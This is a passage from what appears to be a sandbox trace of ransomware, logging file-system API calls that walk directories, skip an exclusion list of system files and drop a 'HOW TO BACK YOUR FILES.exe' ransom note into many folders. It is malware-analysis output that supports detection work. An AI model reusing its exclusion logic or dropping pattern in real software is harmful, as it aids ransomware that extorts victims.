lpString2="ntuser.dat") returned 1 [0034.508] lstrcmpiW (lpString1="Windows Media Player", lpString2="perflogs") returned 1 [0034.508] lstrcmpiW (lpString1="Windows Media Player", lpString2="MSBuild") returned 1 [0034.508] lstrlenW (lpString="Windows Media Player") returned 20 [0034.508] lstrcpyW (in: lpString1=0x241e876, lpString2="Windows Media Player" | out: lpString1="Windows Media Player") returned="Windows Media Player" [0034.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50da18 [0034.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x528470 [0034.508] lstrcatW (in: lpString1="Windows Media Player", lpString2="\\" | out: lpString1="Windows Media Player\\") returned="Windows Media Player\\" [0034.508] lstrcatW (in: lpString1="Windows Media Player\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Media Player\\HOW TO BACK YOUR FILES.exe") returned="Windows Media Player\\HOW TO BACK YOUR FILES.exe" [0034.508] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.512] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0034.512] lstrcmpiW (lpString1="Windows NT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.512] lstrcmpiW (lpString1="Windows NT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.512] lstrcmpiW (lpString1="Windows NT", lpString2=".") returned 1 [0034.512] lstrcmpiW (lpString1="Windows NT", lpString2="..") returned 1 [0034.512] lstrcmpiW (lpString1="Windows NT", lpString2="windows") returned 1 [0034.512] lstrcmpiW (lpString1="Windows NT", lpString2="bootmgr") returned 1 [0034.512] lstrcmpiW (lpString1="Windows NT", lpString2="temp") returned 1 [0034.512] lstrcmpiW (lpString1="Windows NT", lpString2="pagefile.sys") returned 1 [0034.512] lstrcmpiW (lpString1="Windows NT", lpString2="boot") returned 1 [0034.512] lstrcmpiW (lpString1="Windows NT", lpString2="ids.txt") returned 1 [0034.512] lstrcmpiW (lpString1="Windows NT", lpString2="ntuser.dat") returned 1 [0034.512] lstrcmpiW (lpString1="Windows NT", lpString2="perflogs") returned 1 [0034.512] lstrcmpiW (lpString1="Windows NT", lpString2="MSBuild") returned 1 [0034.512] lstrlenW (lpString="Windows NT") returned 10 [0034.512] lstrcpyW (in: lpString1=0x241e876, lpString2="Windows NT" | out: lpString1="Windows NT") returned="Windows NT" [0034.512] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50da30 [0034.512] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x44) returned 0x517488 [0034.512] lstrcatW (in: lpString1="Windows NT", lpString2="\\" | out: lpString1="Windows NT\\") returned="Windows NT\\" [0034.512] lstrcatW (in: lpString1="Windows NT\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows NT\\HOW TO BACK YOUR FILES.exe") returned="Windows NT\\HOW TO BACK YOUR FILES.exe" [0034.512] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows nt\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.516] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0034.517] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.517] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.517] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2=".") returned 1 [0034.517] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="..") returned 1 [0034.517] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="windows") returned 1 [0034.517] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="bootmgr") returned 1 [0034.517] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="temp") returned 1 [0034.517] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="pagefile.sys") returned 1 [0034.517] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="boot") returned 1 [0034.517] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="ids.txt") returned 1 [0034.517] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="ntuser.dat") returned 1 [0034.517] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="perflogs") returned 1 [0034.517] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="MSBuild") returned 1 [0034.517] lstrlenW (lpString="Windows Photo Viewer") returned 20 [0034.517] lstrcpyW (in: lpString1=0x241e876, lpString2="Windows Photo Viewer" | out: lpString1="Windows Photo Viewer") returned="Windows Photo Viewer" [0034.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50da48 [0034.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x5284d0 [0034.517] lstrcatW (in: lpString1="Windows Photo Viewer", lpString2="\\" | out: lpString1="Windows Photo Viewer\\") returned="Windows Photo Viewer\\" [0034.517] lstrcatW (in: lpString1="Windows Photo Viewer\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Photo Viewer\\HOW TO BACK YOUR FILES.exe") returned="Windows Photo Viewer\\HOW TO BACK YOUR FILES.exe" [0034.517] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.583] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b7348a4, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b7348a4, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0034.583] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.583] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.583] lstrcmpiW (lpString1="Windows Portable Devices", lpString2=".") returned 1 [0034.583] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="..") returned 1 [0034.583] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="windows") returned 1 [0034.583] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="bootmgr") returned 1 [0034.583] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="temp") returned 1 [0034.583] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="pagefile.sys") returned 1 [0034.583] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="boot") returned 1 [0034.583] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="ids.txt") returned 1 [0034.584] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="ntuser.dat") returned 1 [0034.584] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="perflogs") returned 1 [0034.584] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="MSBuild") returned 1 [0034.584] lstrlenW (lpString="Windows Portable Devices") returned 24 [0034.584] lstrcpyW (in: lpString1=0x241e876, lpString2="Windows Portable Devices" | out: lpString1="Windows Portable Devices") returned="Windows Portable Devices" [0034.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50da60 [0034.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x60) returned 0x51b128 [0034.584] lstrcatW (in: lpString1="Windows Portable Devices", lpString2="\\" | out: lpString1="Windows Portable Devices\\") returned="Windows Portable Devices\\" [0034.584] lstrcatW (in: lpString1="Windows Portable Devices\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Portable Devices\\HOW TO BACK YOUR FILES.exe") returned="Windows Portable Devices\\HOW TO BACK YOUR FILES.exe" [0034.584] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Portable Devices\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows portable devices\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.586] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0034.586] lstrcmpiW (lpString1="Windows Sidebar", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.586] lstrcmpiW (lpString1="Windows Sidebar", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.586] lstrcmpiW (lpString1="Windows Sidebar", lpString2=".") returned 1 [0034.586] lstrcmpiW (lpString1="Windows Sidebar", lpString2="..") returned 1 [0034.586] lstrcmpiW (lpString1="Windows Sidebar", lpString2="windows") returned 1 [0034.586] lstrcmpiW (lpString1="Windows Sidebar", lpString2="bootmgr") returned 1 [0034.586] lstrcmpiW (lpString1="Windows Sidebar", lpString2="temp") returned 1 [0034.586] lstrcmpiW (lpString1="Windows Sidebar", lpString2="pagefile.sys") returned 1 [0034.586] lstrcmpiW (lpString1="Windows Sidebar", lpString2="boot") returned 1 [0034.586] lstrcmpiW (lpString1="Windows Sidebar", lpString2="ids.txt") returned 1 [0034.586] lstrcmpiW (lpString1="Windows Sidebar", lpString2="ntuser.dat") returned 1 [0034.586] lstrcmpiW (lpString1="Windows Sidebar", lpString2="perflogs") returned 1 [0034.586] lstrcmpiW (lpString1="Windows Sidebar", lpString2="MSBuild") returned 1 [0034.586] lstrlenW (lpString="Windows Sidebar") returned 15 [0034.586] lstrcpyW (in: lpString1=0x241e876, lpString2="Windows Sidebar" | out: lpString1="Windows Sidebar") returned="Windows Sidebar" [0034.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50da78 [0034.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4e) returned 0x515f50 [0034.587] lstrcatW (in: lpString1="Windows Sidebar", lpString2="\\" | out: lpString1="Windows Sidebar\\") returned="Windows Sidebar\\" [0034.587] lstrcatW (in: lpString1="Windows Sidebar\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Sidebar\\HOW TO BACK YOUR FILES.exe") returned="Windows Sidebar\\HOW TO BACK YOUR FILES.exe" [0034.587] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.590] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 0 [0034.591] FindClose (in: hFindFile=0x50aa40 | out: hFindFile=0x50aa40) returned 1 [0034.591] ReleaseMutex (hMutex=0xec) returned 1 [0034.591] CloseHandle (hObject=0xec) returned 1 [0034.591] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0034.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509908 | out: hHeap=0x4f0000) returned 1 [0034.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509050 | out: hHeap=0x4f0000) returned 1 [0034.591] lstrlenW (lpString="C:\\ProgramData") returned 14 [0034.591] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\B516889EDA97E719A45F57F16365875C") returned 0xec [0034.591] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0034.591] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0034.591] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0034.591] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), bFailIfExists=1) returned 0 [0034.591] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0034.591] GetLastError () returned 0x0 [0034.592] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0034.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x5293f8 [0034.592] ReadFile (in: hFile=0xf4, lpBuffer=0x5293f8, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x5293f8*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0034.592] CloseHandle (hObject=0xf4) returned 1 [0034.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5293f8 | out: hHeap=0x4f0000) returned 1 [0034.592] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0034.592] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb9e9c2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x50aa40 [0034.592] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.592] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.592] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0034.592] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb9e9c2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.592] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.592] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.592] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0034.592] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0034.592] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0034.592] lstrcmpiW (lpString1="Adobe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.592] lstrcmpiW (lpString1="Adobe", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.592] lstrcmpiW (lpString1="Adobe", lpString2=".") returned 1 [0034.592] lstrcmpiW (lpString1="Adobe", lpString2="..") returned 1 [0034.592] lstrcmpiW (lpString1="Adobe", lpString2="windows") returned -1 [0034.592] lstrcmpiW (lpString1="Adobe", lpString2="bootmgr") returned -1 [0034.592] lstrcmpiW (lpString1="Adobe", lpString2="temp") returned -1 [0034.592] lstrcmpiW (lpString1="Adobe", lpString2="pagefile.sys") returned -1 [0034.592] lstrcmpiW (lpString1="Adobe", lpString2="boot") returned -1 [0034.592] lstrcmpiW (lpString1="Adobe", lpString2="ids.txt") returned -1 [0034.592] lstrcmpiW (lpString1="Adobe", lpString2="ntuser.dat") returned -1 [0034.592] lstrcmpiW (lpString1="Adobe", lpString2="perflogs") returned -1 [0034.593] lstrcmpiW (lpString1="Adobe", lpString2="MSBuild") returned -1 [0034.593] lstrlenW (lpString="Adobe") returned 5 [0034.593] lstrcpyW (in: lpString1=0x241e866, lpString2="Adobe" | out: lpString1="Adobe") returned="Adobe" [0034.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x509050 [0034.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x2a) returned 0x51a7c0 [0034.593] lstrcatW (in: lpString1="Adobe", lpString2="\\" | out: lpString1="Adobe\\") returned="Adobe\\" [0034.593] lstrcatW (in: lpString1="Adobe\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Adobe\\HOW TO BACK YOUR FILES.exe") returned="Adobe\\HOW TO BACK YOUR FILES.exe" [0034.593] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.595] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0034.595] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.595] lstrcmpiW (lpString1="Application Data", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.595] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1 [0034.595] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1 [0034.595] lstrcmpiW (lpString1="Application Data", lpString2="windows") returned -1 [0034.595] lstrcmpiW (lpString1="Application Data", lpString2="bootmgr") returned -1 [0034.595] lstrcmpiW (lpString1="Application Data", lpString2="temp") returned -1 [0034.595] lstrcmpiW (lpString1="Application Data", lpString2="pagefile.sys") returned -1 [0034.595] lstrcmpiW (lpString1="Application Data", lpString2="boot") returned -1 [0034.595] lstrcmpiW (lpString1="Application Data", lpString2="ids.txt") returned -1 [0034.595] lstrcmpiW (lpString1="Application Data", lpString2="ntuser.dat") returned -1 [0034.595] lstrcmpiW (lpString1="Application Data", lpString2="perflogs") returned -1 [0034.595] lstrcmpiW (lpString1="Application Data", lpString2="MSBuild") returned -1 [0034.595] lstrlenW (lpString="Application Data") returned 16 [0034.595] lstrcpyW (in: lpString1=0x241e866, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0034.595] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50da90 [0034.595] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40) returned 0x50f6d0 [0034.595] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0034.595] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0034.596] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0034.596] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0034.596] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.596] lstrcmpiW (lpString1="Desktop", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.596] lstrcmpiW (lpString1="Desktop", lpString2=".") returned 1 [0034.596] lstrcmpiW (lpString1="Desktop", lpString2="..") returned 1 [0034.596] lstrcmpiW (lpString1="Desktop", lpString2="windows") returned -1 [0034.596] lstrcmpiW (lpString1="Desktop", lpString2="bootmgr") returned 1 [0034.596] lstrcmpiW (lpString1="Desktop", lpString2="temp") returned -1 [0034.596] lstrcmpiW (lpString1="Desktop", lpString2="pagefile.sys") returned -1 [0034.596] lstrcmpiW (lpString1="Desktop", lpString2="boot") returned 1 [0034.596] lstrcmpiW (lpString1="Desktop", lpString2="ids.txt") returned -1 [0034.596] lstrcmpiW (lpString1="Desktop", lpString2="ntuser.dat") returned -1 [0034.596] lstrcmpiW (lpString1="Desktop", lpString2="perflogs") returned -1 [0034.596] lstrcmpiW (lpString1="Desktop", lpString2="MSBuild") returned -1 [0034.596] lstrlenW (lpString="Desktop") returned 7 [0034.596] lstrcpyW (in: lpString1=0x241e866, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0034.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50daa8 [0034.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x2e) returned 0x51a868 [0034.596] lstrcatW (in: lpString1="Desktop", lpString2="\\" | out: lpString1="Desktop\\") returned="Desktop\\" [0034.596] lstrcatW (in: lpString1="Desktop\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Desktop\\HOW TO BACK YOUR FILES.exe") returned="Desktop\\HOW TO BACK YOUR FILES.exe" [0034.597] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.600] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0034.600] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.600] lstrcmpiW (lpString1="Documents", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.600] lstrcmpiW (lpString1="Documents", lpString2=".") returned 1 [0034.600] lstrcmpiW (lpString1="Documents", lpString2="..") returned 1 [0034.601] lstrcmpiW (lpString1="Documents", lpString2="windows") returned -1 [0034.601] lstrcmpiW (lpString1="Documents", lpString2="bootmgr") returned 1 [0034.601] lstrcmpiW (lpString1="Documents", lpString2="temp") returned -1 [0034.601] lstrcmpiW (lpString1="Documents", lpString2="pagefile.sys") returned -1 [0034.601] lstrcmpiW (lpString1="Documents", lpString2="boot") returned 1 [0034.601] lstrcmpiW (lpString1="Documents", lpString2="ids.txt") returned -1 [0034.601] lstrcmpiW (lpString1="Documents", lpString2="ntuser.dat") returned -1 [0034.601] lstrcmpiW (lpString1="Documents", lpString2="perflogs") returned -1 [0034.601] lstrcmpiW (lpString1="Documents", lpString2="MSBuild") returned -1 [0034.601] lstrlenW (lpString="Documents") returned 9 [0034.601] lstrcpyW (in: lpString1=0x241e866, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0034.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50db20 [0034.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x32) returned 0x527fa8 [0034.601] lstrcatW (in: lpString1="Documents", lpString2="\\" | out: lpString1="Documents\\") returned="Documents\\" [0034.601] lstrcatW (in: lpString1="Documents\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Documents\\HOW TO BACK YOUR FILES.exe") returned="Documents\\HOW TO BACK YOUR FILES.exe" [0034.601] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\documents\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.604] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: 